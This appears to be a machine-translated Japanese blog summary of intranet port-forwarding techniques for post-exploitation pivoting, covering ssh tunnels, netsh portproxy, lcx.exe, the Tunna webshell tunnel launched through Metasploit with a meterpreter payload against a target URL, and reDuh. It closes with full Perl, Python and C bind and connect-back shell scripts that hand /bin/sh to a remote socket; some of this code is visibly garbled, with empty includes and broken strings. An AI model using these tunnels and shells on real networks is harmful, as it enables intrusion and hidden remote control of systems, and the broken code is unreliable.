イントラネットポート転送要約
17416 ワード
Linux
ssh SAサーバ CA顧客A CB顧客B CAはSAを介してCBサービスにアクセスし、CA上で実行する
例:リモートMySQLポートをローカルポートにマッピングする13306
putty構成
Connection -> SSH -> Tunnels オプション Windows
netsh
Windows 2000/XP/2003にはNetshコマンドがあります.Windows Server 2008はnetshのパラメータ項目を拡張しただけです.
まずIPV 6をインストールします(xpではIPV 6をインストールする必要があります)
IPV 4からIPV 4へのポートマッピングを追加
指定されたリスニングipとポートの削除
存在する転送の表示
lcx.exe
Web
tunna
サポート環境 conn.jsp Tested on Apache Tomcat (windows + linux) conn.aspx Tested on IIS 6+8 (windows server 2003/2012) conn.php Tested on LAMP + XAMPP + IIS (windows + linux)
ダウンロード先:http://www.secforce.com/media/tools/tunna_v0.1.zip
conn.phpをホストにアップロードし、ローカルで実行
SSHは、接続時に中断しないことを保証するために-sパラメータを追加する必要があります.
IP転送
tunna_をexploit.rb msfにコピーしたmodules/exploits/windows/miscディレクトリ
reDuh-GUI JAVA運行環境 は不要可視化動作 HTTP/HTTPS をサポートは、2次エージェント をサポートします.
reDuh-GUI http://down2.nosec.org/reDuhGUI_0.1.rar
スクリプト#スクリプト#
perl
python
c
リファレンスイントラネットポート転送方法概要http://silic.org/post/Port_Forwarding_from_Intranet_Multiple_Collection tunnaツール使用例http://drops.wooyun.org/tools/650 sshポートマッピングによるリモートイントラネットサーバへの間接アクセスhttp://mrasong.com/a/ssh-port-forword windowsコマンドラインの下でnetshでポート転送(ポートマッピング)を実現http://blog.phpdr.net/windows%E5%91%BD%E4%BB%A4%E8%A1%8C%E4%B8%8B%E7%94%A8netsh%E5%AE%9E%E7%8E%B0%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91%E7%AB%AF%E5%8F%A3%E6%98%A0%E5%B0%84.html
ssh
ssh USER@HOST_A -P HOST_A_SSH_PORT -L 127.0.0.1:LOCAL_PORT:HOST_B:HOST_B_PORT
例:リモートMySQLポートをローカルポートにマッピングする13306
ssh root@1.2.3.4 -P 22 -L 127.0.0.1:13306:10.0.0.102:3306
putty構成
Connection -> SSH -> Tunnels
Source port
portローカルポートDestination
ip:portターゲットIP:ポートLocal
およびAuto
netsh
Windows 2000/XP/2003にはNetshコマンドがあります.Windows Server 2008はnetshのパラメータ項目を拡張しただけです.
まずIPV 6をインストールします(xpではIPV 6をインストールする必要があります)
netsh interface ipv6 install
IPV 4からIPV 4へのポートマッピングを追加
netsh interface portproxy add v4tov4 listenaddress=192.168.1.1 listenport=22 connectaddress=xxx.xxx.xxx.xxx connectport=22
指定されたリスニングipとポートの削除
netsh interface portproxy delete v4tov4 listenaddress=192.168.1.1 listenport=22
存在する転送の表示
netsh interface portproxy show all
lcx.exe
lcx.exe -l 3333 4444
lcx.exe -s your-server-ip 3333 127.0.0.1 3389
Web
tunna
サポート環境
ダウンロード先:http://www.secforce.com/media/tools/tunna_v0.1.zip
conn.phpをホストにアップロードし、ローカルで実行
python proxy.py -u http://192.x.x.x/conn.php -l 13389 -r 3389 -v
SSHは、接続時に中断しないことを保証するために-sパラメータを追加する必要があります.
python proxy.py -u http://192.x.x.x/conn.php -l 13389 -r 3389 -s -v
IP転送
python proxy.py -u http://192.x.x.x/conn.php -l 13389 -a 172.16.1.33 -r 3389
tunna_をexploit.rb msfにコピーしたmodules/exploits/windows/miscディレクトリ
cp ~/tunna_exploit.rb /root/metasploit-framework/modules/exploits/windows/misc
msf > use exploit/windows/misc/tunna_exploit
msf exploit(tunna_exploit) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(tunna_exploit) > set RHOST 1.3.3.7 1.3.3.7
msf exploit(tunna_exploit) > set TARGETURI http://219.x.x.x:8080/conn.jsp
TARGETURI => http://219.x.x.x:8080/conn.jsp
msf exploit(tunna_exploit) > set VERBOSE true
VERBOSE => true
msf exploit(tunna_exploit) > exploit -j
reDuh-GUI
reDuh-GUI http://down2.nosec.org/reDuhGUI_0.1.rar
スクリプト#スクリプト#
perl
#!/usr/bin/perl
$os = $^O;
$SHELL = "/bin/sh";
if ( $os =~ m/win/i ) { $SHELL = "%COMSPEC% /K"; }
if ( @ARGV < 1 ) { exit(1); }
$LISTEN_PORT = $ARGV[0];
use Socket;
$protocol = getprotobyname('tcp');
socket( S, &PF_INET, &SOCK_STREAM, $protocol ) || die("error
");
setsockopt( S, SOL_SOCKET, SO_REUSEADDR, 1 );
bind( S, sockaddr_in( $LISTEN_PORT, INADDR_ANY ) ) || die("error
");
listen( S, 3 ) || die "";
while (1) {
accept( CONN, S );
if ( !( $pid = fork ) ) {
die "Cannot fork" if ( !defined $pid );
open STDIN, ";
open STDOUT, ">&CONN";
open STDERR, ">&CONN";
exec $SHELL || die("error
");
close CONN;
exit 0;
}
}
python
#!/usr/bin/env python
import os, sys, socket, time
MAX_LEN=1024
SHELL="/bin/bash -c"
TIME_OUT=300
PORT=""
HOST=""
def shell(cmd):
sh_out=os.popen(SHELL+" "+cmd).readlines()
nsh_out=""
for i in range(len(sh_out)):
nsh_out+=sh_out[i]
return nsh_out
def action(conn):
while True:
try:
pcmd=conn.recv(MAX_LEN)
except:
print("error
")
return True
else:
cmd=""
for i in range(len(pcmd)-1):
cmd+=pcmd[i]
if cmd==":dc":
return True
elif cmd==":sd":
return False
else:
if len(cmd)>0:
out=shell(cmd)
conn.send(out)
argv=sys.argv
if len(argv)==2:
PORT=argv[1]
elif len(argv)==3:
PORT=argv[1]
HOST=argv[2]
else: exit(1)
PORT=int(PORT)
if os.fork()!=0:
sys.exit(0)
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIME_OUT)
if len(argv)==2:
sock.bind(('localhost', PORT))
sock.listen(0)
run=True
while run:
if len(argv)==3:
try: sock.connect((HOST, PORT))
except:
print("error
")
time.sleep(5)
else: run=action(sock)
else:
try: (conn,addr)=sock.accept()
except:
print("error
")
time.sleep(1)
else: run=action(conn)
if len(argv)==2: conn.shutdown(2)
else:
try: sock.send("")
except: time.sleep(1)
else: sock.shutdown(2)
c
#include
#include
#include
#include
#include
#include
int main( argc, argv )
int argc;
char **argv; {
int sockfd, newfd;
struct sockaddr_in remote;
if ( fork() == 0 )
{
remote.sin_family = AF_INET;
remote.sin_port = htons( atoi( argv[1] ) );
remote.sin_addr.s_addr = htonl( INADDR_ANY );
sockfd = socket( AF_INET, SOCK_STREAM, 0 );
if ( !sockfd )
perror( "error
" );
bind( sockfd, (struct sockaddr *) &remote, 0x10 );
listen( sockfd, 5 );
while ( 1 )
{
newfd = accept( sockfd, 0, 0 );
dup2( newfd, 0 );
dup2( newfd, 1 );
dup2( newfd, 2 );
execl( "/bin/sh", "sh", (char *) 0 );
close( newfd );
}
}
}
int chpass( char *base, char *entered )
{
int i;
for ( i = 0; i < strlen( entered ); i++ )
{
if ( entered[i] == '
' )
entered[i] = '\0';
if ( entered[i] == '\r' )
entered[i] = '\0';
}
if ( !strcmp( base, entered ) )
return(0);
}
リファレンス